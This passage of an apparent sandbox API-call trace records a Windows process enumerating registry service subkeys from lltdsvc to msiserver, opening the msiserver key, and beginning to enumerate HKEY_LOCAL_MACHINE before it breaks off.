lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0176.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0176.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0176.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0176.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0176.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0176.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0176.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0176.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0176.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0176.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0176.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0176.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1a00, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0176.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0176.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0176.088] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0176.088] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0176.088] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0176.088] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0176.088] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1a90, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0176.088] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0176.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0176.089] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0176.089] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0176.089] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0176.089] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0176.089] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0176.089] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0176.090] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0176.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0176.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0176.090] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0176.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0176.090] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0176.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0176.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0176.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0176.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0176.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0176.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0176.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0176.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0176.136] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0176.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0176.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0176.137] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0176.137] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0176.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0176.137] RegCloseKey (hKey=0x9c) returned 0x0 [0176.137] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0176.137] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0176.137] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0176.138] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: 